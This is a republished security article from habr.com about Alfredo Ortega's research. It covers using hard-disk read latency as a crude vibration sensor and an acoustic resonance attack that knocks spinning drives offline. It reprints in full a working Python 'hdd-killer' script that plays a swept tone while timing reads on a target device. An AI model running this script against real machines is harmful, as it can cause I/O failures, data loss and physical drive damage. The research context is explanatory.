Zašto ne možete vrištati na svoj HDD

Zašto ne možete vrištati na svoj HDD

Na konferenciji o kompjuterskoj bezbednosti Ekoparty 2017 u Buenos Airesu, argentinski haker Alfredo Ortega pokazao je veoma zanimljiv razvoj – sistem za tajno prisluškivanje prostorija bez upotrebe mikrofona. Zvuk snimljen direktno na hard disk!

HDD uglavnom prima niskofrekventne zvukove visokog intenziteta, korake i druge vibracije. Ljudski govor se još ne može prepoznati, iako naučnici provode istraživanja u ovom pravcu (prepoznavanje govora pomoću niskofrekventnih vibracija, koje se snimaju, na primjer, sa žiroskopa ili HDD-a).

Zvuk je vibracija zraka ili drugog medija. Osoba ih percipira kroz bubnu opnu, koja prenosi vibracije na unutrašnje uho. Mikrofon je dizajniran otprilike kao uho - i ovdje se vibracije snimaju tankom membranom koja pobuđuje električni impuls. Čvrsti disk je, naravno, takođe podložan mikroskopskim vibracijama zbog fluktuacija okolnog vazduha. To je poznato čak i iz tehničkih karakteristika HDD-a: proizvođači obično navode maksimalnu dozvoljenu razinu vibracija, a sam tvrdi disk često ga pokušava smjestiti u spremnik otporan na vibracije od gume ili drugog izolacijskog materijala. Iz ovoga je lako zaključiti da se zvukovi mogu snimiti pomoću HDD-a. Ostaje samo da shvatimo kako.

Alfredo Ortega je predložio jedinstvenu verziju napada sa strane, odnosno vremenski napad. Ovaj napad se zasniva na pretpostavci da se različite operacije izvode na uređaju u različito vrijeme, ovisno o datim ulaznim podacima. U ovom slučaju, „ulazni podaci“ su vibracije glave za čitanje i HDD ploče, koje su u korelaciji sa vibracijama okoline, odnosno sa zvukom. Dakle, mjerenjem vremena računanja i izvođenjem statističke analize podataka moguće je izmjeriti vibracije glave/ploče, a time i vibracije medija. Što je duže kašnjenje u čitanju podataka, to su jače vibracije HDD-a, a samim tim i glasniji zvuk.

Kako izmjeriti vibracije tvrdog diska? Vrlo jednostavno: samo pokrenite sistemski poziv read () — i zabilježite vrijeme potrebno za završetak. Savremeni operativni sistemi vam omogućavaju da čitate vreme sistemskih poziva sa tačnošću od nanosekunde.

Brzina čitanja informacija iz sektora zavisi od položaja glave i ploče, što je u korelaciji sa vibracijama kućišta HDD-a. To je sve.

Statistička analiza se vrši pomoću jednostavnog Kscope uslužnog programa. Kako kažu, sve genijalno je jednostavno.

Zašto ne možete vrištati na svoj HDD
Kscope uslužni program (stat() sistemski poziv)

Kscope je mali uslužni program za vizualizaciju malih razlika u vremenu izvršavanja sistemskih poziva. Izvorobjavljeno na GitHubu.

U posebnom spremištu HDD-vrijeme postoji verzija uslužnog programa konfigurirana za vremenski napad na tvrdi disk, odnosno konfigurirana za analizu sistemskog poziva read ().

Demonstracija snimanja zvuka pomoću HDD-a, rad uslužnog programa Kscope


Naravno, govor se ne može razumjeti na ovaj način, ali HDD je sasvim prikladan kao senzor vibracija. Na primjer, možete registrirati ako je osoba koja nosi tvrde cipele ili bosa ušla u prostoriju s kompjuterom (vjerovatno, ako napadač nosi mekane patike ili je na podu debeo tepih, HDD neće moći registrirati vibracije - ovo vrijedi provjeriti). Računar može registrovati razbijeno staklo ili druge incidente sa jakim intenzitetom zvuka. Odnosno, tvrdi disk može poslužiti kao neka vrsta sistema za otkrivanje neovlaštenog upada.

Ubica HDD-a

Usput, slična tehnika se može koristiti za onemogućavanje tvrdih diskova. Samo ovdje ne uklanjamo oscilacije sa HDD-a, već naprotiv, generiramo oscilacije koje se napajaju na HDD. Ako pustite zvuk iz zvučnika na frekvenciji koja je u skladu s frekvencijom HDD-a, sistem ubrzo isključuje uređaj uz grešku I/O (Linuks kernel potpuno isključuje HDD nakon 120 sekundi). Sam čvrsti disk može pretrpjeti nepovratna oštećenja.

Zašto ne možete vrištati na svoj HDD
Linux kernel je isključio čvrsti disk nakon 120 sekundi ispuštanja zvuka na rezonantnoj frekvenciji kroz zvučnik Edifier r19u USB zvučnika. Zvučnik je uključen na otprilike četvrtinu snage (manje od 100 mW) i nalazi se 20 cm od HDD-a, usmjeren prema stolu radi poboljšanja vibracija. Frame from video sa demonstracijom ubice HDD-a

Zanimljivo je da se takvi "napadi" na HDD ponekad događaju potpuno slučajno u svakodnevnom životu. Na primjer, u septembru 2016. data centar ING banke bio je primoran da obustavi rad na 10 sati nakon vatrogasne vježbe. Deseci tvrdih diskova su otkazali zbog glasnog zvuka inertnog plina koji se ispušta iz cilindara pod visokim pritiskom. Zvuk je bio vrlo glasan (više od 130 dB), ali ne možete čak ni vikati na čvrste diskove - to povećava kašnjenje u pristupu HDD-u.

Demonstracija ljudskog vrištanja na hard diskove u data centru. Mjerenje latencije


Da bi proizveo rezonirajući zvuk, Alfredo Ortega je napisao Python skript pod nazivom hdd-killer (video demonstracija).

HDD ubica skripta Prilično je mali, tako da ga u cijelosti možete objaviti ovdje.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

izvor: www.habr.com

Dodajte komentar